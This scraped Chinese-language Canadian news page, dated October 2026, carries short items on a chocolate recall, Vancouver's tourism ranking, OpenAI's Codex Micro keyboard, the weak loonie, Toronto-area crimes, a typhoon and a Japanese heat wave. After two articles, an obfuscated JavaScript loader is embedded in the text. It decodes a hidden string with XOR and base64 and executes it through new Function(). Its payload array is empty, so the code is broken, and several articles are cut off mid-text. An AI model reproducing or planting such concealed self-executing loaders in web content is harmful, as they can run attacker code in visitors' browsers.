2026年10月01日 星期四 05:59:01

新闻

吉百利召回朱古力棒 坚果过敏人士切勿食用

【星岛综合报道】食品制造商Mondelez Canada宣布回收一款热门朱古力棒,原因是产品未有在标签上列明含有开心果成分,对坚果过敏或敏感人士可能构成危险。 涉及回收的产品为38克装的Cadbury Dairy Milk Oreo朱古力棒,包括单件装及12件装,涉及两个UPC条码(0 61200 01445 7及0 61200 01444 0),最佳食用日期分别为2026年11月27日及2027年1月5日。 加拿大食品检验局(CFIA)表示,已收到有关食用该产品后出现反应的报告,惟未有公布是否有人因此住院。 当局警告,过敏或敏感人士切勿食用相关产品,可能引发严重甚至危及生命的过敏反应,应将产品弃置或退回购买地点。 (图:Mondelez Canada)T08

观光胜地温哥华 旅人眼中城市魅力仅列全球第70名远逊多伦多

【星岛综合报道】当大温哥华地区还沉浸在主办七场世界杯赛事的夏日狂热中,一份独特的国际调查却给这股热潮泼了冷水。 据《温哥华太阳报》(Vancouver Sun)作者托德(Douglas Todd)撰文指,全球权威观光研究机构《Yanolja Research》发布最新“全球城市魅力指数”(Global City Attractiveness Index),在对191个城市进行的全面性评估后,大温哥华仅名列第70位。 更令在地人震惊的是,邻近的西雅图以第32名的佳绩,轻松挤进全球前50强的“第一梯队”旅游目的地。从游客量来看,大温哥华每年吸引约1,100万名游客,而西雅图则高达3,900万名。 至于西海岸的另一座大都市三藩市,更以第26名的成绩傲视二者。 在加拿大境内,多伦多位居第39名,卡加利则落在第135名。 这份榜单由纽约市拔得头筹,巴黎与日本大阪紧随其后。 香港位列第20名。 数据与算法编织不同“情感地图” 这项调查由美国普渡大学(Purdue University)与Kyung Hee University的学者共同开发,利用14种语言的巨量资料库,深度剖析全球社交媒体上的真实评价,借此量化一座城市的情感吸引力与名声。 在细分指标中,向来以依山傍海引以为傲的温哥华,在“城市美学与自然风景”方面仅拿下第58名;涵盖美食与节庆的“体验观光内容”排名第55位;“好客度”(hospitality)则为第62名。 最让人坐立难安的,是温哥华在“文化与历史”(culture and history)一项跌落百名之外,仅列第111名。该指标专门评估游客对城市独特文化遗产、历史深度、古蹟、传统文化以及建筑美学的评价。 这项发现也与美日学者主导的“全球城市实力指数”(Global City Power Index)不谋而合,温哥华在该指数的48个城市中滑落至第36名,其中最弱的一环正是“文化互动”(cultural interaction)——报告直指温哥华缺乏夜生活、购物与餐厅选择,艺文美术馆与博物馆也相对匮乏。 体制与感知评判结果大异 为什么这份调查的结果,与《经济学人智库》(EIU)将温哥华评为全球第九大宜居城市的璀璨成绩相去甚远?作为北美唯一挤进该宜居榜单前十名的城市,温哥华的实力无庸置疑,但两者衡量的本质完全不同。《经济学人》的“全球宜居城市指数”(Global Livability Index)聚焦于体制硬实力,为外派高阶主管与专业人士量身打造,在教育、文化环境、医疗保健、社会稳定度及基础建设上给予温哥华极高评价。 而《Yanolja Research》则完全撇开饭店客房数或机场吞吐量等硬体设施,纯粹透过全球大规模的社交媒体追踪旅人的“意识水平”。在这样的算法下,西雅图的“城市美学与自然风景”夺得第27名,温哥华却只有第58名。 这本无关绝对的对错,而是直接反映了全球社群网络上对于“谁更美”的讨论热度与集体感知。 困在户外风景里的城市 但温哥华确有值得反思之处。当西雅图的文化历史高居第60名时,大温为何会跌出百名之外? 数据给出了答案:温哥华最受欢迎的前三大景点依序为史丹利公园(Stanley Park)、固兰湖岛(Granville Island)与卡皮拉诺吊桥(Capilano Suspension Bridge),全数为户外景观,走进博物馆与美术馆的游客寥寥可数。对比纽约、巴黎、京都、罗马或首尔等夺冠常客,无一不以底蕴深厚的教堂、寺庙、博物馆与画廊闻名。 西门菲莎大学(Simon Fraser...

科技|OpenAI首推硬件产品 Codex Micro巨集键盘专攻AI编程 一键管理多个AI代理

OpenAI推出旗下首款硬件产品“Codex Micro”,并非外界一直猜测、与前Apple设计总监Jony Ive合作开发的神秘AI装置,而是一款专为AI程式开发而设的迷你机械键盘。新产品售价230美元,主要配合OpenAI的AI编程代理Codex使用,协助开发者更有效管理多个AI代理(AI Agents)及不同编程工作流程。 Codex Micro由OpenAI与机械键盘品牌Work Louder合作开发,外形属可编程巨集键盘(Macro Pad),机身只有13个机械按键,可放置于一般键盘旁边作快捷控制。OpenAI形容它是专为“Agentic Work(AI代理工作流程)”打造的指挥中心,让使用者毋须频繁切换聊天视窗,即可同时监察多个Codex工作进度。 产品设有6个半透明Agent Keys,每个按键均可绑定不同的Codex对话,按下即可快速开启指定聊天。按键内建RGB灯光,会以不同颜色即时显示AI代理的状态,包括闲置、执行中、等待使用者回应、已完成或发生错误,方便用户一眼掌握多项任务进度。 另外6个Command Keys则预设为常用功能,例如建立新对话、批准或拒绝请求、启动Push-to-talk语音输入,以及传送提示(Prompt)等,亦可重新设定成其他Codex快捷操作,并更换随机附送的图示键帽。由于产品本身没有内置麦克风,Push-to-talk功能会使用电脑已连接的麦克风。 除了按键外,Codex Micro亦加入小型摇杆及旋钮设计。摇杆可快速启动预设的Codex Skills,例如除错(Debug)、程式码重构(Refactoring)或检查Pull Request等常见工作流程;旋钮则可调整AI代理的推理深度(Reasoning Level),让使用者按工作难度选择不同思考模式,将原本需要多次点击及切换视窗的操作整合为单一步骤,提高多代理协作效率。 硬件支援Bluetooth及USB-C连接,可兼容Windows及Mac电脑。机身采用CNC加工聚碳酸酯及铝合金结构,配备PBT及聚碳酸酯键帽,并提供有声(Clicky)及静音(Silent)两款机械轴选择。 值得留意的是,Codex Micro并非全新设计,而是以Work Louder现有Creator Micro 2为基础重新配置按键功能及外观,因此硬件规格包括13个机械按键、旋钮及摇杆等均与原产品相同。 OpenAI表示,Codex目前已成为公司重点AI产品之一,今年6月公布每周活跃用户已突破500万,较2月增长6倍。Codex Micro推出后不足24小时便售罄,反映市场对AI程式开发专用控制器有一定需求。 图片:OpenAI T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

加币持续疲软与关税夹击 小企业及出境游步入寒冬

【星岛综合报道】随着加元持续疲软,加国旅客与在地企业正面临经济动荡。外汇市场数据显示,加币兑美元汇率于周四(23日)下探至14个月以来新低点,最终收在70.9美仙。这使得计划前往美国的加拿大人承受汇差负担,跨境消费力面临严重缩水。 据CTV报道,一位准备南下赴美的加国旅客哈德(Allyssa Harder)坦言,近期换汇体验很糟。她花了540元加币,仅换得约375美元。 她指出,通胀环境下的旅费与食品价格本已高企,如今在疲软汇率的叠加效应下,整趟行程的基础开销不断堆叠,令消费者不堪重负。 贸易关税打破传统红利 在传统经济学逻辑中,本国货币贬值通常会形成有利的汇率差,进而刺激对美出口大幅增加,吸引美国买家大举采购相对便宜的加国商品。 然而,卡加利大学(University of Calgary)经济系副教授哈希米(Aamir Hashmi)表示,由于美国政府实施了严厉的关税政策,这项传统的弱势货币红利在当前局势下已完全失效。 哈希米分析,在正常时期,加币走跌确实能让出口产业受惠。但若加国产业正面临美国筑起的关税壁垒,则高额的关税成本将直接抵销汇率所带来的竞争优势,导致加拿大企业落入“既无法享受贬值红利,又必须承受进口成本上涨”的双重困境。 跨境电商美国客户流失过半 这场汇率与关税的双重夹击,正重创各大零售商。位于Crossroads传统市场的卡牌零售店TheCardMrkt老板埃马米亚(Wes Emamyar)透露,他们过去高达60%至70%的营业额仰赖美国客户,但在美国祭出关税政策后,其美国线上客户的比例已大幅跌落至约10%。许多美国买家因不愿缴纳跨境关税而选择退货,甚至导致大量包裹滞留海关,为店家带来沉重的营运负担。 主打复古服饰的零售商Chapter Four Vintage则选择全面终止对美投放广告。共同创办人蒂莫申科(Derrick Timoshenko)直言,高昂的跨境运费与关税成本,让商品销美的物流开销急遽增加,对买卖双方而言无异于双输局面。 此外,对于专营收藏卡牌、老旧游戏机与复古服装等特色产品的企业而言,加币贬值更意味着进口原物料与补货成本的上涨。埃马米亚表示,高端收藏品的单笔跨境采购金额动辄达到5,000元至1万加币,在关税压顶下,买家必须额外多支付高达千元的税金。这迫使在地小企业必须彻底放弃对美国线上供应链的依赖,全面转向本地市场寻求替代货源。 货币政策分歧导致资金外流 针对加币汇率何以跌至历史低谷,哈希米教授指出,地缘政治风险与贸易不确定性固然是一大催化剂,但核心根源仍在于加美两国“两国货币政策的分歧”,尤其体现在联邦基金利率的息差上。 目前,美国的联邦基金利率维持在3.5%至3.75%的高位区间;相较之下,加拿大央行(Bank of Canada)的基准利率则仅有2.25%。这意味着两国利率之间存在巨大差异。 哈希米指出,简而言之,美国短期债券的实质报酬率远高于加拿大。资本具有逐利天性,在息差扩大的诱因下,庞大的资金正加速从加拿大抽离并流入美国。 他强调,加上中东局势动荡,美元作为全球最具公信力的避险货币,在地缘冲突与贸易战阴影下持续吸纳全球避险资金,进一步推升了美元指数,也是导致加币等非美货币相对积弱不振的另一个因素。 图:加通社 V6 ● 相关新闻:【财经消息】加元汇率进一步走低 本土经济疲弱 ● 相关新闻:加拿大经济陷“衰退” 但卡尼和经济学家都不承认

【更新】特别调查组介入怡陶碧谷车祸 三名被捕者包括两名青少年

【星岛综合报道】特别调查组(Special Investigations Unit,SIU)已就周六(25日)凌晨怡陶碧谷(Etobicoke)一宗两车相撞事故展开调查,事故造成五人受伤送院。 多伦多警方补充,在涉事车辆中被捕的三人,包括两名青少年,暂未公布任何控罪详情。 警方发言人确认,SIU已介入调查,并指事故中并无警察车辆卷入,亦无警员受伤。 SIU为独立政府机构,专责调查可能导致死亡、严重伤害、性侵或警员对人开枪的警务人员行为。 (图:CityNews)T08

咸美顿居民被黑色煤灰侵扰 九日内逾475宗投诉

【星岛综合报道】安省咸美顿(Hamilton)多个住宅区近期受黑色黏稠煤灰(soot)侵扰,居民的房屋、汽车及户外设施均被覆蓋,九天内收到逾475宗投诉,促使省府环境部展开调查。   空气污染影响日常生活 居民Gillian Stanley在咸美顿居住逾五年,住所与北部工业区相距不远。她说:“除非你亲身在这里生活,否则难以描述这种感觉,非常烦扰,令人警觉,感觉肮脏、污秽,无所不在。” 她的白色房屋外墙需要频繁清洗,室内亦有煤灰积聚,需要关闭所有窗户,并在每层楼安装高价HEPA空气净化器。 情况严重时,一家人只能留在室内。她说:“我曾以为自己患有环境敏感症,原来只是普通污染。” 另一名居民Jane Jamnik表示,原本洁白的木制露台已被如“厚重汽车油脂”般难以洗去的煤灰覆蓋,影响她的日常活动计划,包括取消骑单车及参加海滨骚莎节。   学者:煤灰颗粒可进入肺部 麦克马斯特大学(McMaster University)医学副教授Jeremy Hirota表示,煤灰颗粒可进入肺部,颗粒愈细小,渗入肺部愈深,可引发炎症反应。 哮喘或慢性阻塞性肺病患者在短期内面临病情恶化的风险,长期接触的影响则可能“持续,甚至加剧,造成慢性呼吸困难”。   475宗投诉提交至环境部 安省新民主党省议员Robin Lennox表示,在近期煤灰侵扰事件后的九天内,已有475宗投诉提交至环境部。 安省环境、保育及公园部发言人Gary Wheeler表示,部门人员已进行检查并收集环境样本,化验分析工作仍在进行,“在工作完成之前,对排放物的成分及潜在来源下结论仍言之过早”。 煤灰的确切来源至今未获确认,惟部分居民怀疑源自市内北端的工业设施,包括钢铁厂、化工厂及其他工厂。 (图:加通社、CP24)T08

【专栏/华裔家长Jasmine有话说 127】孩子自行车留在学校被毁了 但是没想到

【专栏/华裔家长Jasmine有话说 127】我向谷歌咨询招生方法。Gemini叫我加社区脸书群。这一加,我发现新大陆。好像薄雾消散,我的社区变得历历在目。 不是说我以前看不清我住的社区。事实是,我和同街住户低头不见抬头见。周边谁家有几个孩子,孩子叫什么名字,我知道。和邻居点头,微笑,攀谈,是日常。 但是加了社区脸书群,证明一点:所有人的性情果然真的不出所料。 不出所料的意思是,不管我们的last name透露我们来自世界哪个角落,我们都是人,都有爱,能共情。 毕竟,当面寒暄无法深入,网上打字则不可避免输出观点和心情。 群里帖子大概有几类。 一类是失物招领。在公园捡到信用卡,在商场捡到钱包,在街角发现自行车。宠物走失招领也在此类。 于是我在一个群看到有人抱着小狗找主人。第二天,我在另一个群看到有人发帖找小狗。不就是昨天那条狗吗?我正准备找昨天的帖,一翻评论,已经有人把截图发给失主。 我一时间产生小时候住在自成一体的国营工厂区,大家认识大家的感觉。 一类是社区活动和事务。Garage Sale,街头集市,节日公园派对。封路。熊出没。我每天刷刷群,就好像拥有了一份本地活日历和活地图。 头一天我刷到有人后院进了熊,第二天邻居小姑娘看见我,立即大喊,她同学家后院半夜来了一只熊,她同学妈妈拍了视频,发给了她妈妈。不是同一个后院。但是十之八九是同一只熊。 一类是求推荐。几个群友发贴时都说,希望通过word of mouth,找到电工,管道工,理发师,清洁工等等。下面评论,确实总会有人推荐。我初看时不以为然。谁知道这些推荐是不是真的呢。说不定就是商家自荐呢。然后我就看到反复看到一个名字。 被推荐的是个园林绿化工。看他的姓,和我是同胞。在我刷到的五六个寻找园林工的帖子下面,都有人推荐他。好奇的我进行求证,认定那些来自不同的人的推荐,都是真心实意的。 要知道脸书是实名制。在网络时代,word of mouth,原来依然管用。 还有一类,是治安问题。 好几个帖子说到同一个问题。汽车停在马路边,消音器被盗,或者玻璃被砸。这样的事情发生,群友除了表示安慰和愤慨,别无他法。大家心知肚明,这样的小偷小摸,连警察都无能为力。 一个帖子说,孩子的自行车丢在小学游乐场上过夜,第二天去拿,发现轮子丢了。 这个群友很生气,觉得我们社区治安变差了。下面的评论也表示赞同。一个群友表示,自己三十多年前搬来我们这个社区。这个社区曾经那么宁静,美丽,和睦,就像小小的paradise。 言下之意,就是世风日下。也不是不可以做出这种推论。 过了两天,又看到一个帖子。也是孩子的自行车留在小学场地过夜被毁。这辆自行车一个轮子没了,钢圈被扭变形,辐条只剩两三根,连一个把手都不见了。 发贴的群友名字是中文。她洋洋洒洒写了一大篇,表达自己的难过和不解。她认为自行车是被其他孩子破坏的。她提醒父母管好自己的孩子。我对这点存疑,但是我和所有回复她的群友一样,理解她的心情。 我以为这件事过去了,没想到过了一周,她又发了一个帖子。 这个帖子的图片里,有一个信封和一张五十加元的钞票。 上周她发贴以后,收到大量回复和私信。大部分是安慰和愤怒。有人说,自己的自行车留在学校场地,也有同样遭遇。有人同意她的推断,认为这样不遗余力的破坏,是半大青少年所为。有不少人向她提供自家孩子用过的自行车。但是有一位女士不同。 这位奶奶发私信给她,说希望捐给她一点钱,让她给孩子去买一辆新自行车。她回复表示感谢,说不需要钱,但是欢迎她来喝咖啡。一个拥抱可以有。 于是这位奶奶去了她家,喝了咖啡,给了她一个拥抱。走的时候,奶奶坚持留下了信封和信封里的五十块钱。 自行车被毁的这名妈妈,在第二个帖子里的原话意思如下: “感动我的不是钱,是知道我们社区有人这么有爱心,愿意为一个不认识的孩子做出这么体贴的行动。” “我希望我的孩子长大以后记得这件事——不是记得自行车被毁了,而是记得更多的人选择慷慨和善良。” “这就是为什么我爱这个社区。” 这也是为什么我爱我的社区。脸书群,其实就是帮我确认了这一点。 在一片赞声中,有一条评论值得贴在这里: “There is always hope in humanity.”确实,人性总有希望。 撰文:语冰 图片:Pexels 作者简介,湖南人,厂矿子弟,移加二十余年。两个孩子的母亲。重构写作者。 ----------------------------------------------- T05                

伊朗局势|霍尔木兹海峡鸣枪 伊革命卫队宣称拦截4艘欲通过船只

伊朗官方伊斯兰革命卫队(IRGC)今日发表强硬声明,证实其海军部队在过去24小时内,于战略要地霍尔木兹海峡(Strait of Hormuz)采取军事行动,鸣枪示警并成功拦截了4艘试图通过的船只。 涉嫌强收“买路钱” 伊朗国营电视台引述革命卫队的声明指出,该4艘船只涉嫌企图经由霍尔木兹海峡南侧的“非法且不安全航道”通行。在革命卫队海军开火鸣枪示警后,涉事船只最终被迫放弃原有航线并“改变航路”。 外界分析指出,伊朗近几周内频繁袭击沿阿曼海岸航线的油轮及商船,其真实意图是迫使全球船只改用靠近伊朗海岸的特定航线,借此强行征收高昂的费用以换取所谓的“安全通行”,形同强收“买路钱”。 

联邦推重大项目审批改革 咨询收逾2.1万封电邮意见

【星岛综合报道】联邦政府宣布,就重大项目审批程序改革建议的公众咨询,截至7月22日截止日期共收到逾21,000封电邮,以及187份来自各方持份者的书面意见,政府将于夏末前发布意见摘要报告。 枢密院办公室发言人Pierre Cuguen表示,政府亦出席了24次原住民会议及27次持份者会议。   5月提出多项争议性建议 联邦政府今年5月发布两份讨论文件,提出多项争议性建议,包括在项目审查完成前批准重大项目、豁免部分项目免受濒危物种保护法规规管,以及将输油管、输电线及离岸可再生能源项目的审查责任,由影响评估局移交加拿大能源监管机构。 政府亦建议为交通走廊、电讯网络及能源生产设施设立“经济区”,赋予联邦内阁在区内预先批准项目的权力。 原住民领袖对咨询期过短提出强烈批评,全国原住民联盟(AFN)全国酋长Cindy Woodhouse Nepinak今年5月指,相关建议“显示出排斥的规律”。 咨询期原定6月7日截止,其后因广泛批评而延至7月22日,立法时间表亦推迟至秋季议会。   绿党批“经济区”破坏环境 绿党在提交的意见书中表示,建议中的“经济区”实际上可在加拿大几乎任何地方创建“环境无法之地”;绿党党领美薏(Elizabeth May)亦透露,尽管咨询期延长,她从未收到政府就要求听取汇报的信函的任何回复。 渥太华智库公共政策论坛(Public Policy Forum)则建议政府在9月中旬加拿大投资峰会前提交立法,并促请为监管机构加入“投资视角”的法定职能,确保监管机构在防止环境及社会损害的同时,亦考虑项目对投资和经济增长的贡献。 (图:加通社、资料图片)T08

宾顿枪杀案一人被捕 警方通缉两名危险疑犯

【星岛综合报道】皮尔区警察(Peel Regional Police)就上月一宗宾顿(Brampton)枪杀案,逮捕一名士嘉堡男子,并正追缉另外两名疑犯。 事件发生于6月4日晚上7时许,警方接报赶赴Sandalwood Parkway及Crown Victoria Drive附近,发现一名男子中枪当场死亡。死者已确认为25岁宾顿居民Jamal Edwards。 24岁士嘉堡居民Bakiram Balakumar于7月21日被捕,被控一级谋杀罪。警方表示,另有两名疑犯被闭路电视摄得,目前仍在追缉。 警方在周六(25日)发布的声明中警告:“他们应被视为武装及危险人物”,呼吁公众若发现疑犯踪迹切勿靠近,应立即报警。 (图:皮尔区警队)T08

联邦政府否决比利毕晓普机场扩建计划 邹至蕙感谢“聆听市民声音”

【星岛综合报道】联邦政府周五(24日)宣布否决扩建比利毕晓普多伦多城市机场(Billy Bishop Toronto City Airport)的计划,交通部长麦金农(Steven MacKinnon)表示不会支持安省省长福特(Doug Ford)提出的扩建方案。 麦金农在声明中表示:“我们不会推进任何侵犯Little Norway Park或Hanlan's Point海滩等珍贵公共空间、导致噪音增加、对环境造成重大影响,或阻碍多伦多兴建急需住房的计划。” 是次决定在为期两周的公众咨询结束后随即公布,咨询期间共收到逾87,000份回应。多伦多港口管理局早前估计,扩建费用介乎40至50亿元,建设期约25年。 福特政府今年6月通过110号法案,企图控制市府拥有的机场土地,将相关地区列为“特殊经济区”,绕过市府法规推进扩建。市长邹至蕙(Olivia Chow)形容此举为“强夺土地”及“不民主的越权行为”。 邹至蕙周五晚在社交媒体感谢卡尼(Mark Carney)总理及麦金农“聆听多伦多市民的声音”,并呼吁省府归还市府土地:“感谢所有发声及维护社区的人,你们的不懈倡议发挥了作用。现在扩建计划不再推进,我们呼吁省府归还市府的土地。” 然而,安省省府表示仍将继续推动机场扩建工作。安省运输厅长萨卡利亚(Prabmeet Singh Sarkaria)表示,扩建计划每年将为加拿大经济带来最多85亿元效益,创造数以千计的职位,并改善安省乃至北美的交通连接,并表示省府期望制定一个“保护公共空间、解决噪音及环境影响”的计划。 (图:加通社)T08

台风“红霞”︱“个头小速度快”带来极端降雨 广东近岸或有龙卷风

强台风“红霞”正以巅峰强度直扑港粤沿岸,防灾形势极度严峻!据内地中央气象台最新观测,今日(25日)晚上8时,“红霞”中心附近最大风力已进一步增强至13级(每秒38米),预计将以每小时15至20公里的速度向西北方向移动,强度仍有上升空间。风暴预料于今夜至明日(26日)凌晨,在香港到广东陆丰一带沿海登陆。鉴于其带来的极端降雨威胁,中央气象台已于傍晚6时发布最高级别的“暴雨红色预警”。 生成极快且直插内陆 广东东部恐现特大暴雨 中央气象台首席预报员周冠博指出,“红霞”具有“生成发展极快、内陆影响程度深”的显著特征。由于其生成位置偏西、体型较小且移速快,从生成到登陆仅历时两天。 图片来源:中国天气候@微博   图片来源:中国天气候@微博   图片来源:中国天气候@微博   图片来源:中国天气候@微博   图片来源:中国天气候@微博   登陆后,“红霞”将与西南季风相结合,在华南迎风坡地形的抬升效应下,降雨强度将呈几何级数放大。广东东部沿海、北部山区及江西南部等地将出现大范围强降雨,局部地区累积雨量可达250至500毫米,单点极值甚至可能突破600毫米。 残余环流料长期滞留 恐现“列车效应”及龙卷风 专家特别警告,“红霞”登陆后,其残余涡旋可能会在广东、湖南及湖北境内停留至本月28日左右。这种缓慢移动或停滞的状态,将显著放大降水的极端性。风暴后部的环流将持续输送暖湿气流,在同一区域形成“列车效应”,即降雨云带反复经过同一地点,令部分地区面临持续特大暴雨。 此外,气象部门提醒,今日白天至夜间,广东中东部近岸地区发生龙卷风的风险极高,明日在内陆地区亦有机会出现龙卷风。由于长时间的极端降水,多地山洪及地质灾害风险已升至高位,广东中东部局地中小河流更有漫堤风险,当局呼吁市民及海上作业平台切勿掉以轻心,强降雨时段应避免外出。

日本连续5天录得40°C以上“酷暑日”创历史最长纪录 一周内逾万人因中暑送院

暑假正值港人赴日旅游高峰,惟日本当地正遭受致命的极端热浪侵袭,旅客出游必须严防中暑!据日本气象厅数据显示,日本中部三重县于周六(25日)下午录得摄氏40.2度的高温。这标志着日本已连续5天出现40度以上的极端高温,打破自2010年有相关统计以来的最长纪录。短短一周内,日本全国已有逾万人因中暑被紧急送院,当局已向全国过半地区发出中暑警戒。 因应全球气候暖化加剧,日本气象厅今年决定将摄氏40度及以上的高温天气,正式命名为“酷暑日”。这股罕见热浪自本月21日席卷日本,岐阜县郡上市率先测得40度高温;随后在22日至24日间,全国多地气温亦相继飙破40度大关。直至今日午后,除三重县录得40.2度外,爱知县、岐阜县及和歌山县等多地亦录得39度或以上的危险高温。 极端高温对公众健康构成严重威胁。日本总务省消防厅数据显示,仅在7月13日至19日的短短一周内,全国已有高达10,857人因中暑需要紧急送院。据法新社报道,日本每年平均约有1,300人死于与高温相关的疾病。 目前,日本全国47个都道府县中,已有37个发布了中暑警戒警报。当局强烈呼吁市民及外地游客,应尽量避免在烈日下进行长时间的户外活动,在室内必须妥善使用冷气,并时刻补充水分及盐分。资料显示,日本有纪录以来的最高气温出现于去年(2025年)8月5日,群马县伊势崎市当时曾录得摄氏41.8度的历史极值。 

返工返学早餐只吃烚蛋易专注力不足?营养师揭3类人不宜单独吃 必搭配4类食物助醒脑

返工返学贪方便,早餐只吃一只烚蛋,可能会导致专注力下降?有营养师警告有3类人绝对不宜早餐单独吃烚蛋。到底烚蛋怎样配搭进食有助醒脑? 为何返工返学早餐只吃烚蛋易专注力不足? 据日媒《Yoga Journal》报道,营养师川口めぐみ指出,烚蛋是常见的早餐选择,它不但易于烹调,更富含优质蛋白质、维他命B2、维他命B12、维他命D,以及铁、锌等重要营养素。虽然它营养丰富,是健康早餐的绝佳选择。然而,烚蛋却极度缺乏人体早晨必需的关键营养素——“碳水化合物”。她解释,即使在睡眠中,身体仍会持续进行新陈代谢并消耗能量。当我们早上醒来时,体内的能量已所剩无几,特别是大脑的主要能量来源葡萄糖,在肝脏中的储存量非常有限。如果早餐碳水化合物摄取不足,很容易导致大脑能量供应不足,引发以下问题: 判断力受损 专注力下降 注意力不集中 疲劳 营养师揭3类人早餐不宜单独吃烚蛋 基于上述原因,川口めぐみ强调,对以下3类人士而言,早餐绝对不建议只吃烚蛋: 3类人早餐不宜单独吃烚蛋/烚蛋必搭配4类食物助醒脑 1.早上需要高度集中注意力的人 主要从事文书工作的上班族或需要上课的学生,早上必须大量用脑。由于大脑依赖葡萄糖作为能量来源,而烚蛋几乎不含碳水化合物,单食烚蛋会导致大脑能量耗尽,令人难以集中精神。 2.活动量高的人 对于需要长时间站立、经常在早晨做运动的人来说,及时补充能量至关重要。单靠一只烚蛋绝对无法提供足够的能量来应付日常活动,反而会迅速引发疲劳和饥饿感。 3.正在减肥的人士 不少人以为早餐只吃一只烚蛋可以严格控制卡路里摄取,然而,大幅减少早餐的摄取量,会令身体误以为处于饥饿状态。结果往往导致在午餐时出现报复性暴食,或在餐与餐之间吃更多零食,最终反而导致体重增加。 烚蛋必搭配4类食物助醒脑 川口めぐみ表示,烚蛋本身并没有甚么问题。事实上,它是优质的蛋白质来源。真正影响身体的是搭配的食物。她建议将烚蛋与碳水化合物搭配食用,例如: 烚蛋+米饭 烚蛋+方包 烚蛋和饭团 再搭配汤或水果蔬菜沙拉,就能进一步补充维他命和膳食纤维等营养素 早餐除了提供能量外,亦能提升体温。川口めぐみ解释,当我们进食时,由口腔到胃部、小肠和大肠的整个消化道会开始活跃。由于消化道是由肌肉组成,消化食物的过程会启动肌肉并产生热量。这股热量能有效提升我们在睡眠期间下降的体温,彻底唤醒身体,为一整天的活动做好准备。 资料来源:《Yoga Journal》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

怡陶碧谷深夜两车相撞五人伤 三人被捕

【星岛综合报道】怡陶碧谷(Etobicoke)周五(24日)深夜发生两车碰撞事故,五人送院,三人被捕。 多伦多警方表示,事故于凌晨12时许后发生在27号公路以西的Carlingview Drive及Disco Road一带,五名伤者中三人以严重但无生命危险的伤势送院,另外两人则轻伤送院。 调查人员表示,其中一辆涉事车辆内的三名人士已被捕,惟暂未公布任何控罪详情,调查仍在进行中。 (图:资料图片、GoogleMap)T08

BTS师弟团CORTIS首尔宿舍遭“私生饭”擅闯 两中国女子被南韩警逮捕

南韩演艺圈再度爆出极端的“私生饭”(侵害艺人私生活的疯狂粉丝)侵犯私隐及擅闯民居事件。防弹少年团(BTS)的同门师弟、出道未满一年的南韩新人男团“CORTIS”,其位于首尔龙山区的宿舍于日前惊传遭到两名中国籍女子非法闯入。经理人大惊之下随即报警。警方赶抵现场后,当场以现行犯逮捕两名涉案女子,事件震惊K-Pop乐迷。 供认网上花钱买地址  据南韩首尔龙山警察署昨日(24日)通报,两名涉案的中国籍女子涉嫌于本周四(23日)凌晨2时许,在未经允许下擅自潜入CORTIS位于首尔龙山区的宿舍大楼范围内。 CORTIS经理人最先察觉异样,发现放置在宿舍大门外的快递包裹遭到人为破坏和拆封,玄关大门更处于开启状态,因担心成员人身安全而立即报案。警方迅速到场,并在大楼的其他楼层寻获该两名女子,随即将其逮捕并以涉嫌“侵入住居罪”立案调查。 两人在侦讯时坦承,自己是透过社媒平台,花钱向不法卖家购得CORTIS的宿舍地址,才特意前往现场“朝圣”。不过,她们极力否认曾实际进入宿舍内部或破坏快递包裹。目前警方正透过闭路电视画面及相关证物,厘清两人的实际潜入路线。 私生饭乱象禁之不绝  事实上,不少南韩人气艺人长期深受极端粉丝的骚扰困扰,早前CORTIS远赴法国巴黎时,其保姆车亦曾被装上小型GPS追踪器。 法律专家及经纪公司严厉警告,非法闯入住居、装设追踪器等越界行为已严重触犯刑法,绝非单纯的“支持偶像”。呼吁粉丝必须保持理性追星,切勿以身试法,并呼吁网络平台共同遏止非法买卖艺人个人资讯的灰色产业链。 

多伦多21岁男子持灭火筒袭击两路人 被控企图谋杀

【星岛综合报道】多伦多一名21岁男子因于 Rosedale 地铁站附近持武器袭击两名路人,周五(24日)被捕,被控企图谋杀等罪名。 警方表示,周一(20日)凌晨约2时45分接报,Rosedale地铁站一带有人持刀。 调查人员指,疑犯从站内盗取一个灭火筒后离去,随即向附近两名路人施袭。 两名事主试图逃跑,惟其中一人跌倒后被制伏,第二名事主试图介入救援,同样遭到袭击,两人均以严重但非生命危险的伤势送院。疑犯在警员到场前已逃逸。 警方周五在Bathurst Street及Eglinton Avenue West一带将21岁多伦多居民Logan Cachene逮捕,被控企图谋杀、袭击、5,000元以下盗窃及违反释放令等罪名。所有控罪尚未经法庭审理。 (图:多伦多警队)T08

怡陶碧谷枪杀案死者身份曝光 37岁宾顿男子被控一级谋杀

【星岛综合报道】多伦多警方公布,周五(24日)清晨在伊陶碧谷(Etobicoke)一宗针对性枪杀案中遇害的女子,身份为26岁多伦多居民Navneet Kaur,一名37岁宾顿(Brampton)男子已被控一级谋杀罪。 警方表示,周五早上约7时接报,Humberwood Boulevard及Rexdale Boulevard一带有枪击事件。 警方声明指,事主与疑犯曾有“短暂接触”,疑犯随即向女子开枪,在场人员虽施以急救,惟她在现场宣告死亡。 疑犯在警员到场前已逃离,其后由安省省警追截并逮捕。 目击者表示,他当时正在附近喝咖啡,亲眼目睹一名男子走近女事主,交谈约30秒后开枪,然后步行离去。 37岁宾顿疑犯Sharnjeet Singh已被控一级谋杀及违反承诺书,周六(25日)早上在多伦多安省法院出庭。 警方表示,Kaur的死亡为今年多伦多第22宗凶杀案。 (图:CTV)T08

南海冲突|菲律宾总统小马可斯晤中国大使  冀“重置”中菲关系

